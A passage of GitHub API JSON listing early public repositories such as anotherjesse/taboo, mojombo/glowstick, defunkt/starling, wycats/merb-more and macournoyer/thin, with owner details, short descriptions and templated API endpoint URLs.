browsers","fork":false,"url":"https://api.github.com/repos/anotherjesse/s3","forks_url":"https://api.github.com/repos/anotherjesse/s3/forks","keys_url":"https://api.github.com/repos/anotherjesse/s3/keys{/key_id}","collaborators_url":"https://api.github.com/repos/anotherjesse/s3/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/anotherjesse/s3/teams","hooks_url":"https://api.github.com/repos/anotherjesse/s3/hooks","issue_events_url":"https://api.github.com/repos/anotherjesse/s3/issues/events{/number}","events_url":"https://api.github.com/repos/anotherjesse/s3/events","assignees_url":"https://api.github.com/repos/anotherjesse/s3/assignees{/user}","branches_url":"https://api.github.com/repos/anotherjesse/s3/branches{/branch}","tags_url":"https://api.github.com/repos/anotherjesse/s3/tags","blobs_url":"https://api.github.com/repos/anotherjesse/s3/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/anotherjesse/s3/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/anotherjesse/s3/git/refs{/sha}","trees_url":"https://api.github.com/repos/anotherjesse/s3/git/trees{/sha}","statuses_url":"https://api.github.com/repos/anotherjesse/s3/statuses/{sha}","languages_url":"https://api.github.com/repos/anotherjesse/s3/languages","stargazers_url":"https://api.github.com/repos/anotherjesse/s3/stargazers","contributors_url":"https://api.github.com/repos/anotherjesse/s3/contributors","subscribers_url":"https://api.github.com/repos/anotherjesse/s3/subscribers","subscription_url":"https://api.github.com/repos/anotherjesse/s3/subscription","commits_url":"https://api.github.com/repos/anotherjesse/s3/commits{/sha}","git_commits_url":"https://api.github.com/repos/anotherjesse/s3/git/commits{/sha}","comments_url":"https://api.github.com/repos/anotherjesse/s3/comments{/number}","issue_comment_url":"https://api.github.com/repos/anotherjesse/s3/issues/comments/{number}","contents_url":"https://api.github.com/repos/anotherjesse/s3/contents/{+path}","compare_url":"https://api.github.com/repos/anotherjesse/s3/compare/{base}...{head}","merges_url":"https://api.github.com/repos/anotherjesse/s3/merges","archive_url":"https://api.github.com/repos/anotherjesse/s3/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/anotherjesse/s3/downloads","issues_url":"https://api.github.com/repos/anotherjesse/s3/issues{/number}","pulls_url":"https://api.github.com/repos/anotherjesse/s3/pulls{/number}","milestones_url":"https://api.github.com/repos/anotherjesse/s3/milestones{/number}","notifications_url":"https://api.github.com/repos/anotherjesse/s3/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/anotherjesse/s3/labels{/name}"},{"id":53,"name":"taboo","full_name":"anotherjesse/taboo","owner":{"login":"anotherjesse","id":27,"avatar_url":"https://2.gravatar.com/avatar/50d10a8864accf0b2522c326381a4702?d=https%3A%2F%2Fidenticons.github.com%2F02e74f10e0327ad868d138f2b4fdd6f0.png","gravatar_id":"50d10a8864accf0b2522c326381a4702","url":"https://api.github.com/users/anotherjesse","html_url":"https://github.com/anotherjesse","followers_url":"https://api.github.com/users/anotherjesse/followers","following_url":"https://api.github.com/users/anotherjesse/following{/other_user}","gists_url":"https://api.github.com/users/anotherjesse/gists{/gist_id}","starred_url":"https://api.github.com/users/anotherjesse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/anotherjesse/subscriptions","organizations_url":"https://api.github.com/users/anotherjesse/orgs","repos_url":"https://api.github.com/users/anotherjesse/repos","events_url":"https://api.github.com/users/anotherjesse/events{/privacy}","received_events_url":"https://api.github.com/users/anotherjesse/received_events","type":"User"},"private":false,"html_url":"https://github.com/anotherjesse/taboo","description":"The solution for tabitus of the browser ","fork":false,"url":"https://api.github.com/repos/anotherjesse/taboo","forks_url":"https://api.github.com/repos/anotherjesse/taboo/forks","keys_url":"https://api.github.com/repos/anotherjesse/taboo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/anotherjesse/taboo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/anotherjesse/taboo/teams","hooks_url":"https://api.github.com/repos/anotherjesse/taboo/hooks","issue_events_url":"https://api.github.com/repos/anotherjesse/taboo/issues/events{/number}","events_url":"https://api.github.com/repos/anotherjesse/taboo/events","assignees_url":"https://api.github.com/repos/anotherjesse/taboo/assignees{/user}","branches_url":"https://api.github.com/repos/anotherjesse/taboo/branches{/branch}","tags_url":"https://api.github.com/repos/anotherjesse/taboo/tags","blobs_url":"https://api.github.com/repos/anotherjesse/taboo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/anotherjesse/taboo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/anotherjesse/taboo/git/refs{/sha}","trees_url":"https://api.github.com/repos/anotherjesse/taboo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/anotherjesse/taboo/statuses/{sha}","languages_url":"https://api.github.com/repos/anotherjesse/taboo/languages","stargazers_url":"https://api.github.com/repos/anotherjesse/taboo/stargazers","contributors_url":"https://api.github.com/repos/anotherjesse/taboo/contributors","subscribers_url":"https://api.github.com/repos/anotherjesse/taboo/subscribers","subscription_url":"https://api.github.com/repos/anotherjesse/taboo/subscription","commits_url":"https://api.github.com/repos/anotherjesse/taboo/commits{/sha}","git_commits_url":"https://api.github.com/repos/anotherjesse/taboo/git/commits{/sha}","comments_url":"https://api.github.com/repos/anotherjesse/taboo/comments{/number}","issue_comment_url":"https://api.github.com/repos/anotherjesse/taboo/issues/comments/{number}","contents_url":"https://api.github.com/repos/anotherjesse/taboo/contents/{+path}","compare_url":"https://api.github.com/repos/anotherjesse/taboo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/anotherjesse/taboo/merges","archive_url":"https://api.github.com/repos/anotherjesse/taboo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/anotherjesse/taboo/downloads","issues_url":"https://api.github.com/repos/anotherjesse/taboo/issues{/number}","pulls_url":"https://api.github.com/repos/anotherjesse/taboo/pulls{/number}","milestones_url":"https://api.github.com/repos/anotherjesse/taboo/milestones{/number}","notifications_url":"https://api.github.com/repos/anotherjesse/taboo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/anotherjesse/taboo/labels{/name}"},{"id":54,"name":"foxtracs","full_name":"anotherjesse/foxtracs","owner":{"login":"anotherjesse","id":27,"avatar_url":"https://2.gravatar.com/avatar/50d10a8864accf0b2522c326381a4702?d=https%3A%2F%2Fidenticons.github.com%2F02e74f10e0327ad868d138f2b4fdd6f0.png","gravatar_id":"50d10a8864accf0b2522c326381a4702","url":"https://api.github.com/users/anotherjesse","html_url":"https://github.com/anotherjesse","followers_url":"https://api.github.com/users/anotherjesse/followers","following_url":"https://api.github.com/users/anotherjesse/following{/other_user}","gists_url":"https://api.github.com/users/anotherjesse/gists{/gist_id}","starred_url":"https://api.github.com/users/anotherjesse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/anotherjesse/subscriptions","organizations_url":"https://api.github.com/users/anotherjesse/orgs","repos_url":"https://api.github.com/users/anotherjesse/repos","events_url":"https://api.github.com/users/anotherjesse/events{/privacy}","received_events_url":"https://api.github.com/users/anotherjesse/received_events","type":"User"},"private":false,"html_url":"https://github.com/anotherjesse/foxtracs","description":"firefox trac integration","fork":false,"url":"https://api.github.com/repos/anotherjesse/foxtracs","forks_url":"https://api.github.com/repos/anotherjesse/foxtracs/forks","keys_url":"https://api.github.com/repos/anotherjesse/foxtracs/keys{/key_id}","collaborators_url":"https://api.github.com/repos/anotherjesse/foxtracs/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/anotherjesse/foxtracs/teams","hooks_url":"https://api.github.com/repos/anotherjesse/foxtracs/hooks","issue_events_url":"https://api.github.com/repos/anotherjesse/foxtracs/issues/events{/number}","events_url":"https://api.github.com/repos/anotherjesse/foxtracs/events","assignees_url":"https://api.github.com/repos/anotherjesse/foxtracs/assignees{/user}","branches_url":"https://api.github.com/repos/anotherjesse/foxtracs/branches{/branch}","tags_url":"https://api.github.com/repos/anotherjesse/foxtracs/tags","blobs_url":"https://api.github.com/repos/anotherjesse/foxtracs/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/anotherjesse/foxtracs/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/anotherjesse/foxtracs/git/refs{/sha}","trees_url":"https://api.github.com/repos/anotherjesse/foxtracs/git/trees{/sha}","statuses_url":"https://api.github.com/repos/anotherjesse/foxtracs/statuses/{sha}","languages_url":"https://api.github.com/repos/anotherjesse/foxtracs/languages","stargazers_url":"https://api.github.com/repos/anotherjesse/foxtracs/stargazers","contributors_url":"https://api.github.com/repos/anotherjesse/foxtracs/contributors","subscribers_url":"https://api.github.com/repos/anotherjesse/foxtracs/subscribers","subscription_url":"https://api.github.com/repos/anotherjesse/foxtracs/subscription","commits_url":"https://api.github.com/repos/anotherjesse/foxtracs/commits{/sha}","git_commits_url":"https://api.github.com/repos/anotherjesse/foxtracs/git/commits{/sha}","comments_url":"https://api.github.com/repos/anotherjesse/foxtracs/comments{/number}","issue_comment_url":"https://api.github.com/repos/anotherjesse/foxtracs/issues/comments/{number}","contents_url":"https://api.github.com/repos/anotherjesse/foxtracs/contents/{+path}","compare_url":"https://api.github.com/repos/anotherjesse/foxtracs/compare/{base}...{head}","merges_url":"https://api.github.com/repos/anotherjesse/foxtracs/merges","archive_url":"https://api.github.com/repos/anotherjesse/foxtracs/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/anotherjesse/foxtracs/downloads","issues_url":"https://api.github.com/repos/anotherjesse/foxtracs/issues{/number}","pulls_url":"https://api.github.com/repos/anotherjesse/foxtracs/pulls{/number}","milestones_url":"https://api.github.com/repos/anotherjesse/foxtracs/milestones{/number}","notifications_url":"https://api.github.com/repos/anotherjesse/foxtracs/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/anotherjesse/foxtracs/labels{/name}"},{"id":56,"name":"fotomatic","full_name":"anotherjesse/fotomatic","owner":{"login":"anotherjesse","id":27,"avatar_url":"https://2.gravatar.com/avatar/50d10a8864accf0b2522c326381a4702?d=https%3A%2F%2Fidenticons.github.com%2F02e74f10e0327ad868d138f2b4fdd6f0.png","gravatar_id":"50d10a8864accf0b2522c326381a4702","url":"https://api.github.com/users/anotherjesse","html_url":"https://github.com/anotherjesse","followers_url":"https://api.github.com/users/anotherjesse/followers","following_url":"https://api.github.com/users/anotherjesse/following{/other_user}","gists_url":"https://api.github.com/users/anotherjesse/gists{/gist_id}","starred_url":"https://api.github.com/users/anotherjesse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/anotherjesse/subscriptions","organizations_url":"https://api.github.com/users/anotherjesse/orgs","repos_url":"https://api.github.com/users/anotherjesse/repos","events_url":"https://api.github.com/users/anotherjesse/events{/privacy}","received_events_url":"https://api.github.com/users/anotherjesse/received_events","type":"User"},"private":false,"html_url":"https://github.com/anotherjesse/fotomatic","description":"Flash photo widget prototype - hacked at last SHDH of 2007","fork":false,"url":"https://api.github.com/repos/anotherjesse/fotomatic","forks_url":"https://api.github.com/repos/anotherjesse/fotomatic/forks","keys_url":"https://api.github.com/repos/anotherjesse/fotomatic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/anotherjesse/fotomatic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/anotherjesse/fotomatic/teams","hooks_url":"https://api.github.com/repos/anotherjesse/fotomatic/hooks","issue_events_url":"https://api.github.com/repos/anotherjesse/fotomatic/issues/events{/number}","events_url":"https://api.github.com/repos/anotherjesse/fotomatic/events","assignees_url":"https://api.github.com/repos/anotherjesse/fotomatic/assignees{/user}","branches_url":"https://api.github.com/repos/anotherjesse/fotomatic/branches{/branch}","tags_url":"https://api.github.com/repos/anotherjesse/fotomatic/tags","blobs_url":"https://api.github.com/repos/anotherjesse/fotomatic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/anotherjesse/fotomatic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/anotherjesse/fotomatic/git/refs{/sha}","trees_url":"https://api.github.com/repos/anotherjesse/fotomatic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/anotherjesse/fotomatic/statuses/{sha}","languages_url":"https://api.github.com/repos/anotherjesse/fotomatic/languages","stargazers_url":"https://api.github.com/repos/anotherjesse/fotomatic/stargazers","contributors_url":"https://api.github.com/repos/anotherjesse/fotomatic/contributors","subscribers_url":"https://api.github.com/repos/anotherjesse/fotomatic/subscribers","subscription_url":"https://api.github.com/repos/anotherjesse/fotomatic/subscription","commits_url":"https://api.github.com/repos/anotherjesse/fotomatic/commits{/sha}","git_commits_url":"https://api.github.com/repos/anotherjesse/fotomatic/git/commits{/sha}","comments_url":"https://api.github.com/repos/anotherjesse/fotomatic/comments{/number}","issue_comment_url":"https://api.github.com/repos/anotherjesse/fotomatic/issues/comments/{number}","contents_url":"https://api.github.com/repos/anotherjesse/fotomatic/contents/{+path}","compare_url":"https://api.github.com/repos/anotherjesse/fotomatic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/anotherjesse/fotomatic/merges","archive_url":"https://api.github.com/repos/anotherjesse/fotomatic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/anotherjesse/fotomatic/downloads","issues_url":"https://api.github.com/repos/anotherjesse/fotomatic/issues{/number}","pulls_url":"https://api.github.com/repos/anotherjesse/fotomatic/pulls{/number}","milestones_url":"https://api.github.com/repos/anotherjesse/fotomatic/milestones{/number}","notifications_url":"https://api.github.com/repos/anotherjesse/fotomatic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/anotherjesse/fotomatic/labels{/name}"},{"id":61,"name":"glowstick","full_name":"mojombo/glowstick","owner":{"login":"mojombo","id":1,"avatar_url":"https://1.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/glowstick","description":"A realtime, OpenGL graphing library for Ruby","fork":false,"url":"https://api.github.com/repos/mojombo/glowstick","forks_url":"https://api.github.com/repos/mojombo/glowstick/forks","keys_url":"https://api.github.com/repos/mojombo/glowstick/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/glowstick/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/glowstick/teams","hooks_url":"https://api.github.com/repos/mojombo/glowstick/hooks","issue_events_url":"https://api.github.com/repos/mojombo/glowstick/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/glowstick/events","assignees_url":"https://api.github.com/repos/mojombo/glowstick/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/glowstick/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/glowstick/tags","blobs_url":"https://api.github.com/repos/mojombo/glowstick/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/glowstick/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/glowstick/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/glowstick/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/glowstick/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/glowstick/languages","stargazers_url":"https://api.github.com/repos/mojombo/glowstick/stargazers","contributors_url":"https://api.github.com/repos/mojombo/glowstick/contributors","subscribers_url":"https://api.github.com/repos/mojombo/glowstick/subscribers","subscription_url":"https://api.github.com/repos/mojombo/glowstick/subscription","commits_url":"https://api.github.com/repos/mojombo/glowstick/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/glowstick/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/glowstick/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/glowstick/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/glowstick/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/glowstick/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/glowstick/merges","archive_url":"https://api.github.com/repos/mojombo/glowstick/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/glowstick/downloads","issues_url":"https://api.github.com/repos/mojombo/glowstick/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/glowstick/pulls{/number}","milestones_url":"https://api.github.com/repos/mojombo/glowstick/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/glowstick/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/glowstick/labels{/name}"},{"id":63,"name":"starling","full_name":"defunkt/starling","owner":{"login":"defunkt","id":2,"avatar_url":"https://2.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https%3A%2F%2Fidenticons.github.com%2Fc81e728d9d4c2f636f067f89cc14862c.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","html_url":"https://github.com/defunkt","followers_url":"https://api.github.com/users/defunkt/followers","following_url":"https://api.github.com/users/defunkt/following{/other_user}","gists_url":"https://api.github.com/users/defunkt/gists{/gist_id}","starred_url":"https://api.github.com/users/defunkt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/defunkt/subscriptions","organizations_url":"https://api.github.com/users/defunkt/orgs","repos_url":"https://api.github.com/users/defunkt/repos","events_url":"https://api.github.com/users/defunkt/events{/privacy}","received_events_url":"https://api.github.com/users/defunkt/received_events","type":"User"},"private":false,"html_url":"https://github.com/defunkt/starling","description":"","fork":false,"url":"https://api.github.com/repos/defunkt/starling","forks_url":"https://api.github.com/repos/defunkt/starling/forks","keys_url":"https://api.github.com/repos/defunkt/starling/keys{/key_id}","collaborators_url":"https://api.github.com/repos/defunkt/starling/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/defunkt/starling/teams","hooks_url":"https://api.github.com/repos/defunkt/starling/hooks","issue_events_url":"https://api.github.com/repos/defunkt/starling/issues/events{/number}","events_url":"https://api.github.com/repos/defunkt/starling/events","assignees_url":"https://api.github.com/repos/defunkt/starling/assignees{/user}","branches_url":"https://api.github.com/repos/defunkt/starling/branches{/branch}","tags_url":"https://api.github.com/repos/defunkt/starling/tags","blobs_url":"https://api.github.com/repos/defunkt/starling/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/defunkt/starling/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/starling/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/starling/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/starling/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/starling/languages","stargazers_url":"https://api.github.com/repos/defunkt/starling/stargazers","contributors_url":"https://api.github.com/repos/defunkt/starling/contributors","subscribers_url":"https://api.github.com/repos/defunkt/starling/subscribers","subscription_url":"https://api.github.com/repos/defunkt/starling/subscription","commits_url":"https://api.github.com/repos/defunkt/starling/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/starling/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/starling/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/starling/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/starling/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/starling/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/starling/merges","archive_url":"https://api.github.com/repos/defunkt/starling/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/starling/downloads","issues_url":"https://api.github.com/repos/defunkt/starling/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/starling/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/starling/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/starling/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/starling/labels{/name}"},{"id":65,"name":"merb-more","full_name":"wycats/merb-more","owner":{"login":"wycats","id":4,"avatar_url":"https://2.gravatar.com/avatar/428167a3ec72235ba971162924492609?d=https%3A%2F%2Fidenticons.github.com%2Fa87ff679a2f3e71d9181a67b7542122c.png","gravatar_id":"428167a3ec72235ba971162924492609","url":"https://api.github.com/users/wycats","html_url":"https://github.com/wycats","followers_url":"https://api.github.com/users/wycats/followers","following_url":"https://api.github.com/users/wycats/following{/other_user}","gists_url":"https://api.github.com/users/wycats/gists{/gist_id}","starred_url":"https://api.github.com/users/wycats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wycats/subscriptions","organizations_url":"https://api.github.com/users/wycats/orgs","repos_url":"https://api.github.com/users/wycats/repos","events_url":"https://api.github.com/users/wycats/events{/privacy}","received_events_url":"https://api.github.com/users/wycats/received_events","type":"User"},"private":false,"html_url":"https://github.com/wycats/merb-more","description":"Merb More: The Full Stack. Take what you need; leave what you don't.","fork":false,"url":"https://api.github.com/repos/wycats/merb-more","forks_url":"https://api.github.com/repos/wycats/merb-more/forks","keys_url":"https://api.github.com/repos/wycats/merb-more/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wycats/merb-more/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wycats/merb-more/teams","hooks_url":"https://api.github.com/repos/wycats/merb-more/hooks","issue_events_url":"https://api.github.com/repos/wycats/merb-more/issues/events{/number}","events_url":"https://api.github.com/repos/wycats/merb-more/events","assignees_url":"https://api.github.com/repos/wycats/merb-more/assignees{/user}","branches_url":"https://api.github.com/repos/wycats/merb-more/branches{/branch}","tags_url":"https://api.github.com/repos/wycats/merb-more/tags","blobs_url":"https://api.github.com/repos/wycats/merb-more/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wycats/merb-more/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wycats/merb-more/git/refs{/sha}","trees_url":"https://api.github.com/repos/wycats/merb-more/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wycats/merb-more/statuses/{sha}","languages_url":"https://api.github.com/repos/wycats/merb-more/languages","stargazers_url":"https://api.github.com/repos/wycats/merb-more/stargazers","contributors_url":"https://api.github.com/repos/wycats/merb-more/contributors","subscribers_url":"https://api.github.com/repos/wycats/merb-more/subscribers","subscription_url":"https://api.github.com/repos/wycats/merb-more/subscription","commits_url":"https://api.github.com/repos/wycats/merb-more/commits{/sha}","git_commits_url":"https://api.github.com/repos/wycats/merb-more/git/commits{/sha}","comments_url":"https://api.github.com/repos/wycats/merb-more/comments{/number}","issue_comment_url":"https://api.github.com/repos/wycats/merb-more/issues/comments/{number}","contents_url":"https://api.github.com/repos/wycats/merb-more/contents/{+path}","compare_url":"https://api.github.com/repos/wycats/merb-more/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wycats/merb-more/merges","archive_url":"https://api.github.com/repos/wycats/merb-more/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wycats/merb-more/downloads","issues_url":"https://api.github.com/repos/wycats/merb-more/issues{/number}","pulls_url":"https://api.github.com/repos/wycats/merb-more/pulls{/number}","milestones_url":"https://api.github.com/repos/wycats/merb-more/milestones{/number}","notifications_url":"https://api.github.com/repos/wycats/merb-more/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wycats/merb-more/labels{/name}"},{"id":68,"name":"thin","full_name":"macournoyer/thin","owner":{"login":"macournoyer","id":22,"avatar_url":"https://0.gravatar.com/avatar/0d949b795e64e062c4c001c6f5a6f3f3?d=https%3A%2F%2Fidenticons.github.com%2Fb6d767d2f8ed5d21a44b0e5886680cb9.png","gravatar_id":"0d949b795e64e062c4c001c6f5a6f3f3","url":"https://api.github.com/users/macournoyer","html_url":"https://github.com/macournoyer","followers_url":"https://api.github.com/users/macournoyer/followers","following_url":"https://api.github.com/users/macournoyer/following{/other_user}","gists_url":"https://api.github.com/users/macournoyer/gists{/gist_id}","starred_url":"https://api.github.com/users/macournoyer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/macournoyer/subscriptions","organizations_url":"https://api.github.com/users/macournoyer/orgs","repos_url":"https://api.github.com/users/macournoyer/repos","events_url":"https://api.github.com/users/macournoyer/events{/privacy}","received_events_url":"https://api.github.com/users/macournoyer/received_events","type":"User"},"private":false,"html_url":"https://github.com/macournoyer/thin","description":"A very fast & simple Ruby web server","fork":false,"url":"https://api.github.com/repos/macournoyer/thin","forks_url":"https://api.github.com/repos/macournoyer/thin/forks","keys_url":"https://api.github.com/repos/macournoyer/thin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/macournoyer/thin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/macournoyer/thin/teams","hooks_url":"https://api.github.com/repos/macournoyer/thin/hooks","issue_events_url":"https://api.github.com/repos/macournoyer/thin/issues/events{/number}","events_url":"https://api.github.com/repos/macournoyer/thin/events","assignees_url":"https://api.github.com/repos/macournoyer/thin/assignees{/user}","branches_url":"https://api.github.com/repos/macournoyer/thin/branches{/branch}","tags_url":"https://api.github.com/repos/macournoyer/thin/tags","blobs_url":"https://api.github.com/repos/macournoyer/thin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/macournoyer/thin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/macournoyer/thin/git/refs{/sha}","trees_url":"https://api.github.com/repos/macournoyer/thin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/macournoyer/thin/statuses/{sha}","languages_url":"https://api.github.com/repos/macournoyer/thin/languages","stargazers_url":"https://api.github.com/repos/macournoyer/thin/stargazers","contributors_url":"https://api.github.com/repos/macournoyer/thin/contributors","subscribers_url":"https://api.github.com/repos/macournoyer/thin/subscribers","subscription_url":"https://api.github.com/repos/macournoyer/thin/subscription","commits_url":"https://api.github.com/repos/macournoyer/thin/commits{/sha}","git_commits_url":"https://api.github.com/repos/macournoyer/thin/git/commits{/sha}","comments_url":"https://api.github.com/repos/macournoyer/thin/comments{/number}","issue_comment_url":"https://api.github.com/repos/macournoyer/thin/issues/comments/{number}","contents_url":"https://api.github.com/repos/macournoyer/thin/contents/{+path}","compare_url":"https://api.github.com/repos/macournoyer/thin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/macournoyer/thin/merges","archive_url":"https://api.github.com/repos/macournoyer/thin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/macournoyer/thin/downloads","issues_url":"https://api.github.com/repos/macournoyer/thin/issues{/number}","pulls_url":"https://api.github.com/repos/macournoyer/thin/pulls{/number}","milestones_url":"https://api.github.com/repos/macournoyer/thin/milestones{/number}","notifications_url":"https://api.github.com/repos/macournoyer/thin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/macournoyer/thin/labels{/name}"},{"id":71,"name":"resource_controller","full_name":"jamesgolick/resource_controller","owner":{"login":"jamesgolick","id":37,"avatar_url":"https://2.gravatar.com/avatar/f6eddf2f983d23c2d031e407852625e9?d=https%3A%2F%2Fidenticons.github.com%2Fa5bfc9e07964f8dddeb95fc584cd965d.png","gravatar_id":"f6eddf2f983d23c2d031e407852625e9","url":"https://api.github.com/users/jamesgolick","html_url":"https://github.com/jamesgolick","followers_url":"https://api.github.com/users/jamesgolick/followers","following_url":"https://api.github.com/users/jamesgolick/following{/other_user}","gists_url":"https://api.github.com/users/jamesgolick/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesgolick/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesgolick/subscriptions","organizations_url":"https://api.github.com/users/jamesgolick/orgs","repos_url":"https://api.github.com/users/jamesgolick/repos","events_url":"https://api.github.com/users/jamesgolick/events{/privacy}","received_events_url":"https://api.github.com/users/jamesgolick/received_events","type":"User"},"private":false,"html_url":"https://github.com/jamesgolick/resource_controller","description":"Rails RESTful controller abstraction plugin.","fork":false,"url":"https://api.github.com/repos/jamesgolick/resource_controller","forks_url":"https://api.github.com/repos/jamesgolick/resource_controller/forks","keys_url":"https://api.github.com/repos/jamesgolick/resource_controller/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jamesgolick/resource_controller/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jamesgolick/resource_controller/teams","hooks_url":"https://api.github.com/repos/jamesgolick/resource_controller/hooks","issue_events_url":"https://api.github.com/repos/jamesgolick/resource_controller/issues/events{/number}","events_url":"https://api.github.com/repos/jamesgolick/resource_controller/events","assignees_url":"https://api.github.com/repos/jamesgolick/resource_controller/assignees{/user}","branches_url":"https://api.github.com/repos/jamesgolick/resource_controller/branches{/branch}","tags_url":"https://api.github.com/repos/jamesgolick/resource_controller/tags","blobs_url":"https://api.github.com/repos/jamesgolick/resource_controller/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jamesgolick/resource_controller/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jamesgolick/resource_controller/git/refs{/sha}","trees_url":"https://api.github.com/repos/jamesgolick/resource_controller/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jamesgolick/resource_controller/statuses/{sha}","languages_url":"https://api.github.com/repos/jamesgolick/resource_controller/languages","stargazers_url":"https://api.github.com/repos/jamesgolick/resource_controller/stargazers","contributors_url":"https://api.github.com/repos/jamesgolick/resource_controller/contributors","subscribers_url":"https://api.github.com/repos/jamesgolick/resource_controller/subscribers","subscription_url":"https://api.github.com/repos/jamesgolick/resource_controller/subscription","commits_url":"https://api.github.com/repos/jamesgolick/resource_controller/commits{/sha}","git_commits_url":"https://api.github.com/repos/jamesgolick/resource_controller/git/commits{/sha}","comments_url":"https://api.github.com/repos/jamesgolick/resource_controller/comments{/number}","issue_comment_url":"https://api.github.com/repos/jamesgolick/resource_controller/issues/comments/{number}","contents_url":"https://api.github.com/re